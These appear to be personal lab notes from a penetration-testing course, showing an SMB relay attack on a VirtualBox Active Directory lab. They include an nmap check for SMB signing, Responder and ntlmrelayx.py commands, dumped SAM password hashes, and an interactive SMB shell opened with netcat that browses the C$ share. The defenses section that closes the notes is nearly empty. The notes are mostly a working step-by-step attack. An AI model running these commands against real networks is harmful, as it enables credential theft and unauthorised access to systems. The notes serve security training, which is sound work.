┌──(root💀kali)-[/home/kali]
└─# nmap --script=smb2-security-mode.nse -p445 10.0.2.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 16:36 EST
[STRIPPED]
Nmap scan report for 10.0.2.4
Host is up (0.00062s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 08:00:27:FC:72:E9 (Oracle VirtualBox virtual NIC)
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
Nmap scan report for 10.0.2.5
Host is up (0.00052s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 08:00:27:7F:90:90 (Oracle VirtualBox virtual NIC)
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
Nmap scan report for 10.0.2.15
Host is up (0.00059s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 08:00:27:AE:C1:68 (Oracle VirtualBox virtual NIC)
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
[STRIPPED]
Nmap done: 256 IP addresses (5 hosts up) scanned in 28.67 seconds
The domain controller has enable and required, we wont relay on this machine.
SMB Relay Attack
Attack 1st way
In responder config (Responder.conf) we put http and smb on off
Responder command responder -I eth0 -rdwv
Launch ntlmrelayx.py (our target ips are in targets.txt) ntlmrelayx.py -tf targets.txt -smb2support
We should get som hashes on our kali
[*] Done dumping SAM hashes for host: 10.0.2.4
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:25e61d7e5702c678e3be8711c03b7837:::
Jessica Jones:1001:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0:::
Attack 2nd way
We launch Responder (with http and smb off), we launch ntlmrelayx.py just like befor but with -i to try to get an interactive shell. ntlmrelayx.py -tf targets.txt -smb2support -i
It should work and mention that we got a shell
[*] Servers started, waiting for connections
[*] SMBD-Thread-3: Received connection from 10.0.2.15, attacking target smb://10.0.2.4
[*] Authenticating against smb://10.0.2.4 as MARVEL\fcastle SUCCEED
[*] Started interactive SMB client shell via TCP on 127.0.0.1:11000
[STRIPPED]
We can netcat to get the shell: nc 127.0.0.1 11000
We have an smb shell:
└─# nc 127.0.0.1 11000
Type help for list of commands
# help
open {host,port=445} - opens a SMB connection against the target host/port
login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
logoff - logs off
shares - list available shares
use {sharename} - connect to an specific share
cd {path} - changes the current directory to {path}
lcd {path} - changes the current local directory to {path}
pwd - shows current remote directory
password - changes the user password, the new password will be prompted for input
ls {wildcard} - lists all the files in the current directory
rm {file} - removes the selected file
mkdir {dirname} - creates the directory under the current path
rmdir {dirname} - removes the directory under the current path
put {filename} - uploads the filename into the current path
get {filename} - downloads the filename from the current path
mount {target,path} - creates a mount point from {path} to {target} (admin required)
umount {path} - removes the mount point at {path} without deleting the directory (admin required)
info - returns NetrServerInfo main results
who - returns the sessions currently connected at the target host (admin required)
close - closes the current SMB Session
exit - terminates the server process (and this session)
# shares
ADMIN$
C$
IPC$
Share
# use C$
# ls
drw-rw-rw- 0 Fri Jan 28 19:29:18 2022 $Recycle.Bin
drw-rw-rw- 0 Fri Jan 28 20:21:23 2022 Documents and Settings
-rw-rw-rw- 8192 Sat Jan 29 16:14:20 2022 DumpStack.log.tmp
-rw-rw-rw- 1543503872 Sat Jan 29 16:14:20 2022 pagefile.sys
drw-rw-rw- 0 Fri Jan 28 20:18:41 2022 PerfLogs
drw-rw-rw- 0 Fri Jan 28 17:29:12 2022 Program Files
drw-rw-rw- 0 Fri Jan 28 20:18:41 2022 Program Files (x86)
drw-rw-rw- 0 Fri Jan 28 19:26:15 2022 ProgramData
drw-rw-rw- 0 Fri Jan 28 20:21:29 2022 Recovery
drw-rw-rw- 0 Fri Jan 28 19:33:38 2022 Share
-rw-rw-rw- 268435456 Sat Jan 29 16:14:20 2022 swapfile.sys
drw-rw-rw- 0 Fri Jan 28 17:21:44 2022 System Volume Information
drw-rw-rw- 0 Fri Jan 28 19:28:21 2022 Users
drw-rw-rw- 0 Fri Jan 28 17:23:30 2022 Windows
#
Note: ntlmrelayx.py is really powerfull and has many commands, we could even launch other shells.
SMB Relay attack Defenses
Source: TCM Security Academy
image
Possible with
With nmap --script=smb2-security-mode.nse -p445 10.0.2.0/24 Example of what we get with this scan:
